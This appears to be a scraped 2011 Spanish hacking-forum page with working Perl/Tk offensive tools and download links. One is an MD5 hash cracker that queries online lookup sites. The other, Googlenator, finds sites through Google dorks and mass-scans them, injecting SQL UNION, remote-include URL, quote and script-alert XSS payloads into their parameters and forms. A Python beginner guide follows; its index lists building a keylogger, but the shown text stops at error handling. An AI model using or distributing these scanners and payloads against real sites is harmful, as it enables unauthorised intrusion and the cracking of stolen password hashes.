http://doddyhackman.webcindario.com/descargas/findadmin.rar

#434
Perl / [Perl Tk] MD5 Crack Tool
Agosto 19, 2011, 11:28:03 PM
Este es un simple crackeador de hashes MD5 en su nueva version grafica

Una imagen





El codigo es

Código: perl

#!usr/bin/perl
#MD5 Crack T00l (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use Tk::PNG;
use LWP::UserAgent;


if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $logo = MainWindow->new(-background=>"black",-foreground=>"cyan");
$logo->title("MD5 Crack T00l");
$logo->geometry("700x300+20+20");
$logo->resizable(0,0);

my $in = $logo->Photo(-file=>"total.png",-format=>"PNG");
$logo->Label(-image=>$in,-borderwidth=>0)->pack();


$logo->Label(-text=>"Options",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>320,-y=>200);
$logo->Button(-text=>"Crack HAsh",-width=>20,-command=>\&single,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>70);
$logo->Button(-text=>"Crack Wordlist",-width=>20,-command=>\&word,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>210);
$logo->Button(-text=>"About",-width=>20,-command=>\&abot,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>350);
$logo->Button(-text=>"Exit",-width=>20,-command=>\&chali,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>250,-x=>490);


MainLoop;


sub abot {
msg("About","Coded By Doddy H");
}

sub chali {exit(1);}

sub single {

my $sin = MainWindow->new(-background=>"black");
$sin->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$sin->geometry("650x80+20+20");
$sin->resizable(0,0);

$sin->Label(-text=>"MD5 : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>30,-y=>20);
my $hash = $sin->Entry(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>24,-x=>82);
$sin->Label(-text=>"Result : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-x=>290,-y=>20);
my $result = $sin->Entry(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>24,-x=>350);
$sin->Button(-text=>"Crack",-command=>\&cracksingle,-width=>12,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>22,-x=>555);

sub cracksingle {
my $target = $hash->get();
chomp $target;

if (ver_length($target)) {

$re = crackit($target);

if ($re ne "false01") {
$result->configure (-text =>$re);
} else {
$result->configure (-text =>"Not Found");
}
} else {
msg("MD5 Crack T00l","Hash incorrect");
}
}
}

sub word {

my $more = MainWindow->new(-background=>"black",-foreground=>"cyan");
$more->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$more->geometry("450x280+50+50");
$more->resizable(0,0);

$more->Label(-text=>"File : ",-font=>"Impact1",-background=>"black",-foreground=>"cyan")->place(-y=>10,-x=>10);
my $filex = $more->Entry(-width=>40,-background=>"black",-foreground=>"cyan")->place(-y=>13,-x=>50);
$more->Button(-text=>"Crack",-width=>10,-command=>\&crackmulti,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&bro,-background=>"black",-foreground=>"cyan",-activebackground=>"cyan")->place(-x=>370,-y=>12);

$more->Label(-text=>"MD5",-background=>"black",-foreground=>"cyan")->place(-y=>70,-x=>65);
my $hashes = $more->Listbox(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>100,-x=>20);

$more->Label(-text=>"Result",-background=>"black",-foreground=>"cyan")->place(-y=>70,-x=>300);
my $resultados = $more->Listbox(-width=>32,-background=>"black",-foreground=>"cyan")->place(-y=>100,-x=>230);


sub bro {
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}

sub crackmulti {

$hashes->delete(0.0,"end");
$resultados->delete(0.0,"end");

my $archivo = $filex->get();

open(FILE,$archivo);
@leer = <FILE>;
close FILE;

chomp @leer;

my @leera = repes(@leer);

for my $poco(@leera) {
chomp $poco;
if (ver_length($poco)) {
$hashes->insert("end",$poco);
$re = crackit($poco);
if ($re ne "false01") {
$resultados->insert("end",$re);
} else {
$resultados->insert("end","Not Found");
}
}
}
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
}
}

sub crackit {

my %hash = (
   
'http://passcracking.com/' => {
'tipo'  => 'post',
'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
},   
'http://md5.hashcracking.com/search.php?md5=' =>  {
'tipo' => 'get',
'regex' => 'Cleartext of $_[0] is (.*)',
},
'http://www.bigtrapeze.com/md5/' =>  {
'tipo' => 'post',
'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
},
'http://opencrack.hashkiller.com/' =>  {
'tipo' => 'post',
'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
},
'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
'tipo' => 'post',
'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
},
'http://victorov.su/md5/?md5e=&md5d=' =>  {
'tipo' => 'get',
'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
}
);

for my $data(keys %hash) {
$logo->update; #
if ($hash{$data}{tipo} eq "get") {
$code = toma($data.$_[0]);
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
} else {
$code = tomar($data,$hash{$data}{variables});
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
}
}
return "false01";
}



sub msg {
my $color_fondo = "black"; #white
my $color_letra = "cyan"; #black
my ($titulo,$contenido) = @_;
my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);$mensaje->title($titulo);
$mensaje->geometry("200x50+20+20");
$mensaje->resizable(0,0);
$mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20);
}

sub ver_length {
return true if length($_[0]) == 32;
}

sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub tomar {
my ($web,$var) = @_;
return $nave->post($web,[%{$var}])->content;
}

# ¿ The End ?


Para bajar el script con el logo lo pueden hacer de aca

Código: text

http://doddyhackman.webcindario.com/descargas/findpass.rar
#435
Perl / [Perl Tk] Googlenator
Agosto 19, 2011, 11:27:52 PM
Bueno esta es la nueva version de googlenator en la cual le corregi algunas cosas y le agregue un scanner para XSS

Una imagen seria



El codigo es el siguiente

Código: perl

#!usr/bin/perl
#Googlenator (C) Doddy Hackman 2011

use Tk;
use Tk::ROText;
use Tk::FileSelect;
use URI::Split qw(uri_split);
use Cwd;
use LWP::UserAgent;
use HTML::Form;


my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

installer();

my $new = MainWindow->new(-background=>"black");

$new->title("Googlenator (C) Doddy Hackman 2011");
$new->geometry("780x530");
$new->resizable(0,0);

$d = $new->Frame(-relief=>"sunken",-bd=>1,-background=>"black",-foreground=>"white");
my $scanx = $d->Menubutton(-text=>"Scan",-underline=>1,-background=>"black",-foreground=>"white",-activebackground=>"white")->pack(-side=>"left");
my $logsx = $d->Menubutton(-text=>"Logs",-underline=>1,-background=>"black",-foreground=>"white",-activebackground=>"white")->pack(-side=>"left");
$d->pack(-side=>"top",-fill=>"x");

$scanx->command(-label=>"SQL",-background=>"black",-foreground=>"white",-command=>\&loadsql);
$scanx->command(-label=>"RFI",-background=>"black",-foreground=>"white",-command=>\&loadrfi);
$scanx->command(-label=>"LFI",-background=>"black",-foreground=>"white",-command=>\&loadlfi);
$scanx->command(-label=>"FSD",-background=>"black",-foreground=>"white",-command=>\&loadfsd);
$scanx->command(-label=>"XSS",-background=>"black",-foreground=>"white",-command=>\&loadxss);

$logsx->command(-label=>"GoogleSearchs",-background=>"black",-foreground=>"white",-command=>\&loadgoogle);
$logsx->command(-label=>"SQL",-background=>"black",-foreground=>"white",-command=>\&loadfilesql);
$logsx->command(-label=>"RFI",-background=>"black",-foreground=>"white",-command=>\&loadfilerfi);
$logsx->command(-label=>"LFI",-background=>"black",-foreground=>"white",-command=>\&loadfilelfi);
$logsx->command(-label=>"FSD",-background=>"black",-foreground=>"white",-command=>\&loadfilefsd);
$logsx->command(-label=>"XSS",-background=>"black",-foreground=>"white",-command=>\&loadfilexss);


my $box = $new->ROText(-background=>"black",-foreground=>"white",-width=> 104,-height=> 20)->place(-x =>20,-y=>60);

head();

$new->Label(-background=>"black",-foreground=>"white",-text=>"Google : ",-font=>"Impact")->place(-y=>"380",-x=>"20");

my $google = $new->Entry(-background=>"black",-foreground=>"white",-width=>"30",-text=>"www.google.com.ar")->place(-x=>"80",-y=>"385");

$new->Label(-background=>"black",-foreground=>"white",-text=>"Pages : ",-font=>"Impact")->place(-y=>"380",-x=>"300");

my $pages = $new->Entry(-background=>"black",-foreground=>"white",-width=>"5",-text=>"30")->place(-y=>"385",-x=>"354");

$new->Label(-background=>"black",-foreground=>"white",-font=>"Impact",-text=>"Dorks : ")->place(-y=>"380",-x=>"450");

my $dorks = $new->Entry(-background=>"black",-foreground=>"white",-width=>"40",-text=>"index.php+id")->place(-y=>"385",-x=>"505");

$new->Button(-text=>"Search in Google",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&googler)->place(-y=>"450");
$new->Button(-text=>"About",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&about)->place(-y=>"474");
$new->Button(-text=>"Exit",-background=>"black",-foreground=>"white",-activebackground=>"white",-width=>"130",-command=>\&exitx)->place(-y=>"498");

MainLoop;

head();

sub googler {

my $google = $google->get;
my $pages = $pages->get;
my $dorks = $dorks->get;

head();

$box->insert("end","\t\t[+] Searching pages with string $dorks\n\n");

my @webas = google($google,$dorks,$pages);

$box->insert("end","\t\t[+] Cleaning\n\n");
$box->insert("end","\t\t[+] Webs Found ".int(@webas)."\n\n");

for(@webas) {
$new->update();
$box->insert("end","\t\t[Link] : ".$_."\n");
savefile($dorks.".txt",$_);
}

$box->insert("end","\n\t\t[+] All save in logs/search/".$dorks."\n");
$box->insert("end","\n\n\t\t[+] Finished\n\n");

}

sub loadsql {

$browse = $new->FileSelect(-directory => getcwd());
my $filea = $browse->Show;

head();


unless (-f $filea) {
$box->insert("end","\n\t\t[-] File Not Found\n");
next;
}

$box->insert("end","\n\t\t\[+] Scan SQL Started\n\n");
$box->insert("end","\t\t[+] File : $filea\n");

open (FILE,$filea);
@words = <FILE>;
close FILE;

chomp @words;

$box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");

for my $page(@words) {
my $page = clean($page);
print $page."\n";
$new->update();
scansql($page);
}

sub scansql {
my ($pass1,$pass2) = ("+","--");
my $page = shift;
$code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
if ($code1=~/The used SELECT statements have a different number of columns/ig) {
$box->insert("end","\t\t[+] SQLI : $page\n");
savefilevul("sql-logs.txt",$page);
}}
$box->insert("end","\n\n\t\t[+] Finished\n\n");
}


sub loadxss {

$browse = $new->FileSelect(-directory => getcwd());
my $filea = $browse->Show;

head();
$box->insert("end","\t\t[+] File : $filea\n");

open (FILE,$filea);
@words = <FILE>;
close FILE;

chomp @words;

$box->insert("end","\n\t\t\[+] Scan XSS Started\n\n");
$box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");

for my $page(@words) {
$new->update();
scanxss($page);
}
$box->insert("end","\n\n\t\t[+] Finished\n\n");
}


sub loadrfi {

$browse = $new->FileSelect(-directory => getcwd());
my $filea = $browse->Show;

head();
$box->insert("end","\t\t[+] File : $filea\n");

open (FILE,$filea);
@words = <FILE>;
close FILE;

chomp @words;


$box->insert("end","\n\t\t\[+] Scan RFI Started\n\n");
$box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");

for my $page(@words) {
my $page = clean($page);
$new->update();
scanrfi($page);
}

sub scanrfi {
my $page = shift;
$code1 = toma($page."http:/www.supertangas.com/");
if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
$box->insert("end","\t\t[+] RFI : $page\n");
savefilevul("rfi-logs.txt",$page);
}}
$box->insert("end","\n\n\t\t[+] Finished\n\n");
}

sub loadlfi {

$browse = $new->FileSelect(-directory => getcwd());
my $filea = $browse->Show;

head();
$box->insert("end","\t\t[+] File : $filea\n");

open (FILE,$filea);
@words = <FILE>;
close FILE;

chomp @words;


$box->insert("end","\n\t\t\[+] Scan LFI Started\n\n");
$box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");

for my $page(@words) {
my $page = clean($page);
$new->update();
scanlfi($page);
}


sub scanlfi {
my $page = shift;
$code1 = toma($page."'");
if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
$box->insert("end","\t\t[+] LFI : $page\n");
savefilevul("lfi-logs.txt",$page);
}}
$box->insert("end","\n\n\t\t[+] Finished\n\n");
}

sub loadfsd {

$browse = $new->FileSelect(-directory => getcwd());
my $filea = $browse->Show;

head();
$box->insert("end","\t\t[+] File : $filea\n");

open (FILE,$filea);
@words = <FILE>;
close FILE;

chomp @words;


$box->insert("end","\n\t\t\[+] Scan FSD Started\n\n");
$box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");

for my $page(@words) {
my $page = clean($page);
$new->update();
scanfsd($page);
}

sub scanfsd {
my $page = shift;
my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
$box->insert("end","\t\t[+] Full Source Discloure : $page\n");
savefilevul("fsd-logs.txt",$page);
}}}
$box->insert("end","\n\n\t\t[+] Finished\n\n");
}

sub head {

$box->delete("0.0","end");

$box->insert("end","
           @@@@     @@@      @@@      @@@@   @@   @@@@ @@   @@    @@   @@@@@@  @@@    @@@@ 
          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@@  @@    @@     @@   @@@@@   @@ @@
         @@@      @@   @@  @@   @@  @@@      @@   @@   @@@@ @@   @@@@    @@  @@   @@  @@ @@
         @@  @@@  @@   @@  @@   @@  @@  @@@  @@   @@@@ @@ @ @@   @  @    @@  @@   @@  @@@@ 
         @@@  @@  @@   @@  @@   @@  @@@  @@  @@   @@   @@ @@@@  @@@@@@   @@  @@   @@  @@@@ 
          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@  @@@  @@  @@   @@   @@@@@   @@ @@
           @@@      @@@      @@@      @@@    @@@@ @@@@ @@   @@  @@  @@   @@    @@@    @@  @@

                                                                   
                                                                         Coded By Doddy H



");
}

sub about {
$about = MainWindow->new(-background=>"black");
$about->title("Googlenator v0.3");
$about->geometry("300x110");
$about->resizable(0,0);
$about->Label(-background=>"black",-foreground=>"white")->pack();
$about->Label(-text=>"Contact : lepuke[at]hotmail[com]",-font=>"Impact",-background=>"black",-foreground=>"white")->pack();
$about->Label(-text=>"Web : doddyhackman.webcindario.com",-font=>"Impact",-background=>"black",-foreground=>"white")->pack();
$about->Label(-text=>"Blog : doddy-hackman.blogspot.com",-font=>"Impact",-background=>"black",-foreground=>"white")->pack();
}

sub exitx {
exit(1);
}

sub savefilevul {
open (SAVE,">>logs/vulz/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub toma {
return $nave->get($_[0])->content;
}

sub dame_link {
return $nave->find_all_links();
}

sub clean {
if ($_[0] =~/\=/) {
my @sacar= split("=",$_[0]);
return(@sacar[0]."=");
}
}

sub savefile {
open (SAVE,">>logs/search/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub google {

for ($pages=10;$pages<=$_[2];$pages=$pages+10) {
$new->update();
toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
@links = dame_link();
for my $l(@links) {
if ($l->url() =~/webcache.googleusercontent.com/) {
push(@url,$l->url());
}
}
}

for(@url) {
if ($_ =~/cache:(.*?):(.*?)\+/) {
push(@founds,$2);
}
}

my @founds = repes(@founds);

return @founds;
}



sub installer {

unless (-d "logs/") {
mkdir("logs/","777");
mkdir("logs/search","777");
mkdir("logs/vulz","777");
}
}

sub repes {
foreach my $palabra ( @_ ) {
next if $repety{ $palabra }++;
push @revisado,$palabra;
}
return @revisado;
}

sub loadgoogle {
system("start ".getcwd()."/logs/search/");
}

sub loadfilesql {
system("start logs/vulz/sql-logs.txt");
}


sub loadfilelfi {
system("start logs/vulz/lfi-logs.txt");
}


sub loadfilerfi {
system("start logs/vulz/rfi-logs.txt");
}


sub loadfilefsd {
system("start logs/vulz/fsd-logs.txt");
}


sub loadfilexss {
system("start logs/vulz/xss-logs.txt");
}

sub scanxss {

my $page = shift;

my @testar = HTML::Form->parse(toma($page),"/");
my @botones_names;
my @botones_values;
my @orden;
my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
my @get_founds;
my @post_founds;
my @ordenuno;
my @ordendos;

my $contador_forms = 0;

my $valor = "doddyhackman";

for my $test(@testar) {
$contador_forms++;
if ($test->method eq "POST") {
my @inputs = $test->inputs;
for my $in(@inputs) {
if ($in->type eq "submit") {
if ($in->name eq "") {
push(@botones_names,"submit");
}
push(@botones_names,$in->name);
push(@botones_values,$in->value);
} else {
push(@ordenuno,$in->name,$pa[0]);
push(@ordendos,$in->name,$pa[1]);
}}

for my $n(0..int(@botones_names)-1) {
my @preuno = @ordenuno;
my @predos = @ordendos;
push(@preuno,$botones_names[$n],$botones_values[$n]);
push(@predos,$botones_names[$n],$botones_values[$n]);

my $codeuno = $nave->post($page,\@preuno)->content;
my $codedos = $nave->post($page,\@predos)->content;
if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
$codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
push(@post_founds,$contador_forms);
} else {
push(@post_founds,$test->attr(name));
}}}
} else { #Fin de metodo POST
my @inputs = $test->inputs;
for my $in(@inputs) {
if ($in->type eq "submit") {
if ($in->name eq "") {
push(@botones_names,"submit");
}
push(@botones_names,$in->name);
push(@botones_values,$in->value);
} else {
$orden.=''.$in->name.'='.$valor.'&';
}}
chop($orden);
for my $n(0..int(@botones_names)-1) {
my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
my $final = $orden.$partedos;
for my $strin(@pa) {
chomp $strin;
$final=~s/doddyhackman/$strin/;
$code = toma($page."?".$final);
my $strin = "\Q$strin\E";
if ($code=~/$strin/) {
push(@get_founds,$page."?".$final);
}}}}}

my @get_founds = repes(@get_founds);
if (int(@get_founds) ne 0) {
for(@get_founds) {
$box->insert("end","\t\t[+] XSS Found : $_\n");
savefilevul("xss-logs.txt","[+] XSS Found : $_");
}}

my @post_founds = repes(@post_founds);
if (int(@post_founds) ne 0) {
for my $t(@post_founds) {
if ($t =~/^\d+$/) {
$box->insert("end","\t\t[+] XSS : Form $t in $page\n");
savefilevul("xss-logs.txt","[+] XSS : Form $t in $page");
}}}}


#  The End ?

#436
Python / Re:[Guia] Iniciando en Python
Agosto 01, 2011, 10:38:24 PM
no tengo tiempo fortil , temporalmente esta es la version final del tuto xDD
#437
Python / Re:[Código-Python]Crypt & Decrypt - JaAViEr
Agosto 01, 2011, 10:36:46 PM
buen codigo javier , siempre me olvido de hacer una tool asi en perl xD
#438
Python / [Guia] Iniciando en Python
Julio 31, 2011, 11:34:13 PM
[Guia] Iniciando en Python
[Autor] Doddy Hackman



-- == Indice == --


0x00 : Presentacion
0x01 : Que es Python
0x02 : Tipos basicos
0x03 : Uso de print
0x04 : Tipos de condiciones
0x05 : Colecciones
0x06 : Manejo de errores
0x07 : Variables argumentales
0x08 : Concatenacion
0x09 : Comentarios
0x10 : Entradas de teclado
0x11 : Manejo de split
0x12 : Funciones
0x13 : Listar directorios y manejo de archivos
0x14 : Manejo de sockets
0x15 : Interactuar con webs y expresiones regulares
0x16 : Descarga de archivos
0x17 : Manejo de funciones
0x18 : Creacion de un keylogger
0x19 : Compresion de archivos
0x20 : Mostrar y ocultar archivos en Windows
0x21 : Manejo de threads
0x22 : Compilar script a exe
0x23 : Bibliografia

-- =========== --


0x00 : Presentacion


Hola , aca les traigo una guia para iniciarnos en python.

Cualquier sugerencia o error en la guia deben decirmelo para mejorar.


0x01 : Que es Python


Segun wiki python es


Código: text

Python es un lenguaje de programación de alto nivel cuya filosofía hace hincapié en una sintaxis muy limpia y que favorezca un código legible.
Se trata de un lenguaje de programación multiparadigma ya que soporta orientación a objetos, programación imperativa y, en menor medida, programación funcional. Es un lenguaje interpretado, usa tipado dinámico, es fuertemente tipado y multiplataforma.
Es administrado por la Python Software Foundation. Posee una licencia de código abierto, denominada Python Software Foundation License,1 que es compatible con la Licencia pública general de GNU a partir de la versión 2.1.1, e incompatible en ciertas versiones anteriores.


En lo personal considero que python es el lenguaje indicado para empezar a programar , tiene un gran poder en todos sentidos y
es facil de aprender a usarlo.

Para cargar un script en python , tenemos que cargar la consola ms dos , usar cd para entrar al directorio donde esta el script y teclear el nombre del script , puede ser
algo asi

Código: text

test.py


Y se carga...

Para bajar python 2.5 puden ir al siguiente enlace

Código: text

http://www.python.org/ftp/python/2.5.2/python-2.5.2.msi


Aclaracion : si queremos crear un script py tenemos que hacerlo con bloc de notas cuando ya escribimos el codigo tenemos que
ir "guardar como" , donde dice nombre ponemos "script.py" y en tipo ponemos "todos los archivos"

0x02 : Tipos basicos


Los tipos basicos en python son los siguientes :


-- == Numeros == --

Los numeros pueden ser enteros,de coma flotante y complejos

Un ejemplo de cada uno serian :

Código: text

entero = 4
coma = 12.50
complejos = 8 + 4j


-- == Cadenas de texto == --

Las cadenas son solo texto puesto entre comillas simples o dobles.

Podemos declararlas con comillas dobles de la siguiente manera

Código: text

nombre = "hola"


O con comillas simples

Código: text

nombre = 'hola'


-- == Booleanos == --


Las variables de tipo booleano solo pueden tener dos valores , los cuales son "True" o "False"
Estas valores son importantes para las condiciones y los bucles

Un ejemplo de como usar esta variable seria

Código: text

acccion = True
accionmala = False


Aclaracion : cuando se declara una variable primero se pone el nombre de la variable para despues
poner un = , despues del igual va a valor correspondiente a la variable.

0x03 : Uso de print

Ok , ahora vamos a conocer a print,esta hermosa funcion que nos ayudara a mostrar texto en pantalla
Podemos mostrar el text entre comillas dobles o simples

Un ejemplo de como usar print en texto normal seria asi :

Con comillas dobles

Código: text

print "hola"


Comillas simples

Código: text

print 'hola'


Como ven mostramos el texto que esta entre comillas , nunca debemos dejar una comilla sin cerrar
de lo contrario el codigo dara error.

Tambien podemos mostrar el contenido de las variables usando print de la siguiente forma

Usando una coma

Con comillas dobles

Código: text

valor = "mundo"
print "hola ",valor, " asqueroso"


Con comillas simples

Código: text

valor = "mundo"
print 'hola ',valor,' asqueroso'


Usando un mas


Con comillas dobles

Código: text

valor = "mundo"
print "hola "+valor+" asqueroso"


Con comillas simples

Código: text

valor = "mundo"
print 'hola '+valor+' asqueroso'



0x04 : Tipos de condiciones


Bien los tipos de condiciones usados en python son los siguientes :

-- == if-elif-else == --

Clasico en cualquier lenguaje de programacion

Código: text

if "test"=="test":
print "bien"


Tambien podemos usar if para verificar que tal cosa no sea asi simplemente poniendo un not al lado de la condicion de la siguiente
manera

Código: text

if not "test"=="test":
print "bien"


O podemos hacer asi para verificar que test no sea igual a test

Código: text

if "test"!="test":
print "no es"


Como ven controlamos que test sea igual a test , despues usamos : para marcar la condicion , si el if funciona se deja un espacio que indica que lo que el if hara si funciona
Si no dejamos ese espacio el codigo dara error con razon , si queremos usar un else con el if podemos hacer asi

Código: text

if "test"=="test":
print "bien"
else:
print "mal"


Como ven coordinamos los espacios entre el if y el else , else sirve para realizar una funcion por si el if no da positivo

Tambien podemos usar elif para tener varias condiciones de la siguiente manera

Código: text

if "test"=="te":
print "bien"
elif "test"=="tes":
print "bien"
elif "test"=="test":
print "al fin"
else:
print "nada encontrado"



-- == for == --

Bien , ahora veremos como funciona for , esta funcion sirve para ayudarnos a realizar una tarea por la veces
que queramos

Podemos usar for para realizar un conteo del uno al diez de la siguiente forma

Código: text

for number in range(1,10):
print number


Com ven usamos for para llamar a la funcion , despues ponemos el valor number que nos ayudar a declarar el resultado
del rango 1 al 10
Despues ponemos in range para aclarar el rango que vamos a usar , el rango va encerrado entre parantesis , siempre tenemos
que cerrarlo de lo contrario dara error.
Despues ponemos un : para cerrar la condicion , despues de el : dejamos un espacio para poder indicar que hara el script cuando el
for comienze a hacer lo suyo.

-- == while == --

Bien , ahora llegamos a la funcion que nos ayuda a realizar bucles , while sirve para que se ejecuta una cosa mientras el valor
aclarado en el while sea positivo

Un ejemplo seria controlando que 1 sea igual a 1

Código: text

while 1==1:
print "hola"


Como ven un maldito bucle infinito


0x05 : Colecciones


Bien , ahora pasamos a los tipos de colecciones , los tipos de colecciones que tiene python
son los siguientes :


-- == Listas == --

Para crear una lista podemos hacer asi

Código: text

listas = ["tengo","tengo","hola"]


Como ven primero ponemos el nombre de la lista , despues ponemos un igual para marcar los valores de
la lista , los cuales deben estar encerrados entre corchetes , nombrados por comillas simples o dobles separados
por una coma

Si queremos abrir una lista podemos usar for de la siguiente forma

Código: text

for list in lista:
print list


Como ven usamos for para abrir una lista e ir mostrando los valores de la lista con la variable list

Para borrar repetidos en una lista podemos hacer esto

Código: text

listas = ["tengo","tengo","hola"]
limpia = []
for fa in listas:
if fa not in limpia:
  limpia.append(fa)

print limpia


Como ven tenemos la lista "listas" con el contenido repetido varias veces , paro eso se crea una lista
nueva , la cual abre la lista "listas" para añadir dichos valores a la nueva lista llamada "limpia" , entonces si dicho valor
ya existe en la lista limpia se lo ignora quedando asi una nueva lista "limpia"

Aclaracion : append se encarga de agregar valores a la lista

O asi

Código: text

listas = ["tengo","tengo","hola"]

limpia = set(listas)

for l in limpia:
print l
   

Como ven , tenemos la misma lista con los valores repetidos entonces lo que hacemos es usar
la funcion set() con la lista "listas" , entonces el resultado de dicha funcion se almacena en una
nueva lista con el valor de "limpia"

Finalmente mostramos los valores de la lista limpia con un for.


Para agregar mas valores a lista podemos hacer asi

Código: text

listas = ["tengo","tengo","hola"]

listas.append("hola")

print listas


Como ven usamos append en la la lista en la que queremos agregar el valor "hola"

Para mostrar el primer valor de una lista podemos hacer asi

Código: text

listas = ["tengo","tengo","hola"]
print listas[0] #primer valor
print listas[1] #segundo
print listas[2] # y tercero



Para calcular la cantidad de valor usamos len() de la siguiente forma

Código: text

listas = ["tengo","tengo","hola"]
cantidad = len(listas)
print cantidad


Como ven usamos len() para calcular la cantidad de valores en la lista "listas" , entonces el
resultado de dicha funcion se guarda en la variable cantidad , la cual imprimimos por pantalla
despues de calcular.

Para editar cierto valor

Código: text

listas = ["tengo","tengo","hola"]
listas[0] = "nada"
print listas


Como ven modifique el primer valor de la lista "listas" para que sea "nada" en vez de "tengo"
, despues de dicha tarea usamos print para mostrar la lista "listas" por pantalla.


-- == Tuplas == --

Todo lo que dicho sobre las listas es igual con las tuplas , la unica diferencia entre las dos
es que las tuplas usan () en vez [] en los valores , un ejemplo seria este

Código: text

lista = ("tengo","tengo","nada")


Ademas los valores de las tuplas no cambian , en vez las listas si permiten modificar sus valores,
Otra cosa es que las tuplas son mas livianas y con ellas podemos ahorrar algo de memoria.
Para concluir las tuplas no permiten agregar valores con append a diferencia de las listas

-- == Diccionarios == --

Bien los diccionarios en python se caracterizan por tener una clave y un valor , un ejemplo de
declarar un diccionario seria.

Código: text

dicc ={"a":"b","c":"d"}


Como ven tenemos claves y valors relacionadas de la siguiente manera

Código: text

a = b
c = c


Muy simple quizas este comentario estuvo de mas , si queremos abrir un diccionario y mostrar
sus valores podemos hacer de la siguiente manera

Código: text

dicc ={"a":"b","c":"d"}
for k in dicc.keys():
print k+":"+dicc[k]


Como ven tenemos el diccionario llamado "dicc" con sus claves y valores encerrados con {} , cada clave y valor van
separados por una coma , la relacion entre una clave y un valor se hacen con un :
Despues usamos un for para abrir el diccionario , donde usamos la variable k para mostrar por pantalla la clave y el valor
correspondiente.


0x06 : Manejo de errores


Bien , llegamos a un apartado interesante de python , el manejo de errores , muchas veces podemos tener un error donde aparece
en pantalla y pumm termina el script , en python no puede pasar eso , si es que usamos a try y except.

Un ejemplo de como usarlo seria asi

Código: text

try:
sdsdsd
except:
print "error"


Como ven escribimos cualquier cosa y solo aparecio error , nada de errores raros........
Otra cosa es que debemos coordinar los espacios entre try y except de lo contrario habra un orrendo
